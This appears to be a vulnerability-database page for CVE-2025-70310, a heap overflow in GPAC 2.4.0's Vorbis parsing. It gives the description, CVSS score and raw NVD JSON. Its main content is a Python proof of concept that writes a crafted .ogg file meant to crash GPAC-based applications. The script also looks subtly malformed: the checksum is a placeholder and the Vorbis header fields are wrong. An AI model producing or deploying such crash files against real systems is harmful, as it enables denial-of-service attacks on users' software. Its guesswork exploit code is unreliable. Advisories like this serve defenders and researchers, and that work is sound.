Security Vulnerability Report
中文
CVE-2025-70310 CVSS 5.5 MEDIUM

CVE-2025-70310

Published: 2026-01-15 17:16:06
Last Modified: 2026-01-23 17:34:23

Description

A heap overflow in the vorbis_to_intern() function of GPAC v2.4.0 allows attackers to cause a Denial of Service (DoS) via a crafted .ogg file.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:* - VULNERABLE
GPAC v2.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-70310 PoC - GPAC heap overflow in vorbis_to_intern() This PoC generates a crafted .ogg file that triggers heap overflow """ import struct import sys def create_crafted_ogg(): """Generate a crafted OGG file to trigger vorbis_to_intern() heap overflow""" # Ogg page header for capture pattern ogg_header = b'OggS' # Version ogg_header += struct.pack('B', 0) # Header type ogg_header += struct.pack('B', 0x02) # Beginning of stream # Granule position ogg_header += struct.pack('<Q', 0) # Serial number ogg_header += struct.pack('<I', 0x12345678) # Page sequence ogg_header += struct.pack('<I', 0) # CRC checksum (placeholder) ogg_header += struct.pack('<I', 0) # Page segments ogg_header += struct.pack('B', 1) # Segment table - crafted size to trigger overflow ogg_header += struct.pack('B', 0xFF) # Large segment size # Crafted payload - oversized to cause heap overflow # This triggers the vulnerability in vorbis_to_intern() payload = b'\x00' * 8192 # Oversized payload # Add Vorbis identification header vorbis_header = b'\x01' # Packet type: identification header vorbis_header += b'vorbis' # Magic vorbis_header += struct.pack('<I', 0) # Version vorbis_header += struct.pack('B', 2) # Channels vorbis_header += struct.pack('<I', 44100) # Sample rate vorbis_header += struct.pack('<I', 0) # Bitrate vorbis_header += struct.pack('<I', 0) # Upper bitrate vorbis_header += struct.pack('B', 0) # Block size vorbis_header += struct.pack('B', 0) # Coupling vorbis_header += b'\x00' * 64 # Padding to trigger overflow return ogg_header + vorbis_header + payload def main(): output_file = 'CVE-2025-70310_poc.ogg' crafted_ogg = create_crafted_ogg() with open(output_file, 'wb') as f: f.write(crafted_ogg) print(f'[+] PoC file created: {output_file}') print(f'[+] File size: {len(crafted_ogg)} bytes') print('[+] Open this file with GPAC-based application to trigger vulnerability') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-70310", "sourceIdentifier": "[email protected]", "published": "2026-01-15T17:16:06.400", "lastModified": "2026-01-23T17:34:23.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap overflow in the vorbis_to_intern() function of GPAC v2.4.0 allows attackers to cause a Denial of Service (DoS) via a crafted .ogg file."}, {"lang": "es", "value": "Un desbordamiento de montículo en la función vorbis_to_intern() de GPAC v2.4.0 permite a los atacantes causar una denegación de servicio (DoS) mediante un archivo .ogg manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "C8D68051-EBCD-445B-A060-EAC407CE2D39"}]}]}], "references": [{"url": "https://github.com/zakkanijia/POC/blob/main/gpac_dec_vorbis/GPAC_VORBIS.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}